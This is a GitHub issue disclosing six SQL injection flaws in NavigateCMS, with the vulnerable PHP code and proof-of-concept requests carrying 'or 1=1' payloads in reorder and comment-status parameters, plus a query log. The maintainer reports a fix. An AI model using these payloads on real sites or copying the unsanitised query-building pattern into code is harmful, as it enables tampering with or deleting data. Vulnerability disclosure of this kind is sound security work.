

[New issue](#)

[Jump to bottom](#)

# Multiple SQL Injection Vulnerabilities Identified in the latest version (v2.9.4 r1561) #26

🔒 Closed Paper-Submission-2021 opened this issue on Jul 22, 2021 · 1 comment

Paper-Submission... commented on Jul 22, 2021

Hi, I would like to report 6 SQL Injection vulnerabilities identified in the latest version of the CMS.

## Vulnerability 1: block\_order injection at blocks.php

vulnerable code: blocks.php

```
function run()
{
    global $layout;
    global $DB;
    global $website;

    $out = '';
    $item = new block();

    switch($_REQUEST['act'])
    {

        case 'load':
        case 'edit':
        case 2:
            if(!empty($_REQUEST['id']))
            {
                $item->load(intval($_REQUEST['id']));
            }

            if(isset($_REQUEST['form-sent']))
            {
                $item->load_from_post();
                try
                {
                    naviforms::check_csrf_token();

                    $item->save();
                    property::save_properties_from_post('block', $item->id);
                    $id = $item->id;

                    // set block order
                    if(!empty($item->type) && !empty($_REQUEST['blocks-order']))
                    {
                        block::reorder($item->type, $_REQUEST['blocks-order'], $_REQUEST['blocks-order-fixed']); //step into
                    }
                }
            }
        }
    }
}
```

which triggers block.class.php

```
public static function reorder($type, $order, $fixed)
{
    global $DB;
    global $website;

    $item = explode("#", $order);//explode order by '#'

    for($i=0; $i < count($item); $i++)
    {
        if(empty($item[$i]))
        {
            continue;
        }

        $block_is_fixed = ($fixed[$item[$i]]=='1'? '1' : '0');

        $ok = $DB->execute('
UPDATE nv_blocks
    SET position = ' . ($i+1) . ',
        fixed = ' . $block_is_fixed . '
WHERE id = ' . $item[$i] . '');// trigger here
        AND website = ' . $website . '>id
```

Attacker can inject in block-order through http request. A sample request traffic:

```
POST /navigate/navigate.php?fid=blocks&act=edit&id=7&tab=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----195682555912966620871610644291
Content-Length: 7310
Origin: http://localhost
Connection: close
Referer: http://localhost/navigate.php?fid=blocks&act=edit&id&tab=1
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=vp8r0kw03etQUGHzT9FpieS75umQ56ZuLBUE2HnrFYgc4eiNLHWQdP2VYJM6;
guest_token=IkpPRMlGedDbThKVGdQTdQTFZ5dWcXNjA4MjgxNzg4ODE2Igx3Dx3D--acb8c6e71d42560c0d4ce4741531f317312a4f8a; navigate-tinymce-scroll=%7B%7D; navigate-remember-user-
id=aF59694d7163bd32096f6752379642aee3043fc5; navigate-remember-user-
token=9%01%83%0C6x8B%0C%08B%0D9%18%0C%0A1n%CB9a%CF%3E%0F%0D0%0EFX%0C7C%11%0D8%0D7S%06B%18%40+%11%0E8%2A%A8+%E1%EE%02m%DA%88%B233%0A%05%A8%7C%73D%9E%FA%B4%03C13g1%AF%E1%B4%A6%5C%87%3A%08
navigate-language=en; PHPSESSID=17v9et2f1867j0d9h1vj990ab; NVSID_7a6b5d33_421aa90ee079fa326b6494f812ad13e79=17v9et2f1867j0d9h1vj990ab
Upgrade-Insecure-Requests: 1

-----195682555912966620871610644291
Content-Disposition: form-data; name="form-sent"

true
-----195682555912966620871610644291
Content-Disposition: form-data; name="id"

7
-----195682555912966620871610644291
Content-Disposition: form-data; name="_nv_csrf_token"

.....

Content-Disposition: form-data; name="blocks-order"
```

**\*\*5 or 1=1\*\***

```
125 Query      UPDATE nv_blocks
                SET position = 1,
                  fixed = 0
                WHERE id = 5 or 1=1
                AND website = 1
125 Query      SELECT * FROM nv_blocks
                WHERE id = 7
                AND website = 1
125 Query      SELECT subtype, lang, text
                FROM nv_webdictionary
                WHERE node_type = 'block'
                AND node_id = '7'
125 Query      SELECT block_types FROM nv_websites WHERE id = 1 LIMIT 1
125 Query      SELECT COUNT(*) AS total FROM nv_blocks WHERE website = '1' AND type = 'social_links' LIMIT 1
125 Query      SELECT COUNT(*) AS total FROM nv_blocks WHERE website = '1' AND type = 'home_slide' LIMIT 1
125 Query      SELECT COUNT(*) AS total FROM nv_blocks WHERE website = '1' AND type = 'sidebar_content' LIMIT 1
125 Query      SELECT * FROM nv_functions WHERE codename = 'blocks' AND enabled = 1
125 Query      INSERT INTO nv_users_log
```

## Vulnerability 2: id at items.php

Vulnerable code item.php :

```
//package/lib/packages/items/items.php
function run()
{
    global $layout;
    global $DB;
    global $website;
    global $theme;
    global $user;

    $out = '';
    $item = new item();

    switch($_REQUEST['act'])
    {

        case "change_comment_status": // change comment status
            if(empty($_REQUEST['id']))
            {
                echo "false";
                core_terminate();
            }

            switch($_REQUEST['opt'])
            {
                case 'publish':
                    $DB->execute('
                        UPDATE nv_comments
                        SET status = 0
                        WHERE website = '.$website->id.' AND
                        id = '.$_REQUEST['id']);

                    break;

                case 'unpublish':
                    $DB->execute('
                        UPDATE nv_comments
                        SET status = 1
                        WHERE website = '.$website->id.' AND
                        id = '.$_REQUEST['id']);

                    break;

                case 'delete':
                    $DB->execute('
                        DELETE FROM nv_comments
                        WHERE website = '.$website->id.' AND
                        id = '.$_REQUEST['id']);

                    break;
            }
    }
}
```

Attacker can use a traffic similar to:

```
GET /navigate/navigate.php?fid=items&act=change_comment_status&**id=abc%20or%201=1**&opt=publish HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=vp8r0kw03etQUGHzT9FpieS75umQS6ZuLBUE2HnrFYgc4eiNLHWQdPZVYJM6;
guest_token=IkpPRw1GekIdObThKVgdTQTdQTfZ5dWcWtJA4MjgXNzg4ODE2Ig%3D%3D--acb8c6e71d42560c0d4ce4741531f317312a4f8a; navigate-tinymce-scroll=%78%7D; navigate-remember-user-
id=af59694d7163bd32096f6752379642aee3043fc5; navigate-remember-user-
token=%01x83%0C%6%8B%0C%0B%0D9X18%CB%A1n%CB9a%CF%3E%0F%xD0%Q%EF%XC7%11%DB%07%5%06B%18%40+%X11%EB%2A%A8+%E1%EEXD2m%DA%88%B233%0A%05%A8t%7%3D%9E%FA%B4%03%13g1%AF%1%B4%A6%5C%87%3A%08
navigate-language=en; PHPSESSID=17v9et2f1867j0od9hlvj990ab; NVS_ID_7a6b5d33_421aa90e079fa326b6494f812ad13e79=17v9et2f1867j0od9hlvj990ab
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

### Vulnerability 3: products\_order at products.php

Vulnerable code

```
//package/lib/packages/products/products.php
function run()
{
    global $layout;
    global $DB;
    global $website;
    global $theme;
    global $user;

    $out = '';
    $item = new product();

    switch($_REQUEST['act'])
    {
        **case 'products_order':**
        if(!empty($_POST['products-order']))
        {
            if(naviforms::check_csrf_token('header'))
            {
                // save new order
                $response = product::reorder($_POST['products-order']);
                if($response!==true)
                {
                    echo $response['error'];
                }
                else
                {
                    echo 'true';
                }
            }
        }
    }
}
```

Then it triggers

```
//package/lib/packages/products/product.class.php
public static function reorder($order)
{
    global $DB;
    global $website;

    **$items = explode("#", $order);**

    for($i=0; $i < count($items); $i++)
    {
        if(empty($items[$i]))
        {
            continue;
        }

        $ok = $DB->execute('
UPDATE nv_products
    SET position = '.$i+1.'
    **WHERE id = '.$items[$i].' AND**
    website = '.$website->id

');
}
```

### Vulnerability 4: id in products.php

Vulnerable code:

```
//package/lib/packages/products/products.php
case "change_comment_status":
    if(empty($_REQUEST['id']))
    {
        echo "false";
        core_terminate();
    }

    switch($_REQUEST['opt'])
    {
        case 'publish':
            $DB->execute('
UPDATE nv_comments
    SET status = 0
    WHERE website = '.$website->id.' AND
    id = '.$_REQUEST['id']);

            break;

        case 'unpublish':
            $DB->execute('
UPDATE nv_comments
    SET status = 1
    WHERE website = '.$website->id.' AND
    id = '.$_REQUEST['id']);

            break;

        case 'delete':
            $DB->execute('
DELETE FROM nv_comments
    WHERE website = '.$website->id.' AND
    id = '.$_REQUEST['id']);

            break;
    }
}
```

Attacker can easily craft something like this to trigger the vulnerability

[http://localhost/navigate/navigate.php?fId=products&act=change\\_comment\\_status&id=1%20or%201=1;&opt=publish](http://localhost/navigate/navigate.php?fId=products&act=change_comment_status&id=1%20or%201=1;&opt=publish)



## Vulnerability 5: property::reorder at templates.php

vulnerable code:

```
//package/lib/packages/templates/templates.php
case 'load':
case 2: // edit/new form
    if(!empty($_REQUEST['id']))
    {
        if(is_numeric($_REQUEST['id']))
        {
            $item->load(intval($_REQUEST['id']));
        }
        else
        {
            $item->load_from_theme($_REQUEST['id']);
        }
    }

    if(isset($_REQUEST['form-sent']))
    {
        try
        {
            $item->load_from_post();
            naviforms::check_csrf_token();

            $item->save();
            if(!empty($_REQUEST['property-enabled']))
            {
                $enablers = array_values($_REQUEST['property-enabled']);
            }
            else
            {
                $enablers = array();
            }

            property::reorder("template", $item->id, $_REQUEST['template-properties-order'], $enablers);
        }
    }
}
```

Then step into

```
//package/lib/packages/properties/property.class.php
public static function reorder($element, $template, $order, $enablers=NULL)
{
    global $DB;
    global $website;

    **$item = explode("#", $order);**

    for($i=0; $i < count($item); $i++)
    {
        if(empty($item[$i])) continue;

        $enabled = '';
        if(is_array($enablers))
        {
            $enabled = ', enabled = 0 ';
            for($e=0; $e < count($enablers); $e++)
            {
                if($enablers[$e]==$item[$i]) $enabled = ', enabled = 1 ';
            }
        }

        $ok = $DB->execute('
UPDATE nv_properties
    SET position = ' . ($i+1) . ' ' . $enabled . '
    **WHERE id = ' . $item[$i] . '**
    AND website = ' . $website->id
);
```

## Vulnerability 6: children\_order at structure.php

Vulnerable code:

```
//package/lib/packages/structure/structure.php
case "reorder":
    **$ok = structure::reorder($_REQUEST['parent'], $_REQUEST['children_order']);**
    echo json_encode($ok);
    core_terminate();
    break;
```

Then steps into

```
//package/lib/packages/structure/structure.class.php
public static function reorder($parent, $children)
{
    global $DB;
    global $website;

    **$children = explode("#", $children);**

    for($i=0; $i < count($children); $i++)
    {
        if(empty($children[$i]))
        {
            continue;
        }

        $ok = $DB->execute('UPDATE nv_structure
                            SET position = ' . ($i+1) . '
                            **WHERE id = ' . $children[$i] . '**
                            AND parent = ' . intval($parent) . '
                            AND website = ' . $website->id);
    }
}
```

```
        if(!$ok)
        {
            return array("error" => $DB->get_last_error());
        }
    }

    return true;
}
```

Attacker can easily craft a traffic as below to cause the injection:

<http://localhost/navigate/navigate.php?fid=structure&act=reorder&parent=1&children=abc%20or%201=1>

NavigateCMS commented on Jul 24, 2021

Owner

Thank you!

Fixed by [ed3f78b](#)



NavigateCMS closed this as completed on Jul 24, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

